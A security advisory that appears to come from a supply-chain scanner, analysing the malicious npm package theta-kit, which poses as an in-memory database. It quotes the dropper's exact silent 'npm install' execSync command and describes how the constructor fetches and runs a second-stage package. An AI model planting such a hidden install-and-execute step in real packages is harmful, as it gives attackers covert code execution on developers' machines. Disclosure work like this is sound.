theta-kit@1.0.0
Malicious code in theta-kit (npm)
Analysis
Disguised as a mobx-backed in-memory database, the package is a stealth dropper for an attacker-controlled second-stage package named theta-connector. Its Model.resetor() routine (in dist/index.js) is invoked automatically from the Model constructor on any model instantiation: it tries to require('theta-connector') and, if absent, silently runs execSync('npm install theta-connector --no-warnings --no-save --no-progress --loglevel silent', {windowsHide:true}) to fetch it, then immediately requires it and calls db.queryDBConnect(), executing the downloaded code. This is remote code download-and-execute via a covert npm install with all output and the Windows console window suppressed; the actual payload lives in the separately-published theta-connector. child_process is declared as a direct dependency to enable execSync.
- analyzed by
- Leitwacht
- first seen
- Jun 12, 2026, 04:11 PM
- analyzed
- Jun 12, 2026, 04:12 PM
Related advisories
- prm-bundles@45.0.0
- poxios-chain@1.3.5
- polymarket-gamma-api@1.4.9
- polymarket-gamma-apis@1.4.0
- polygon-bitquery-apis@2.2.3
- node-path-utils@1.23.2
- peptideenv@16.6.6
- vite-react-toolkit@1.0.1
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.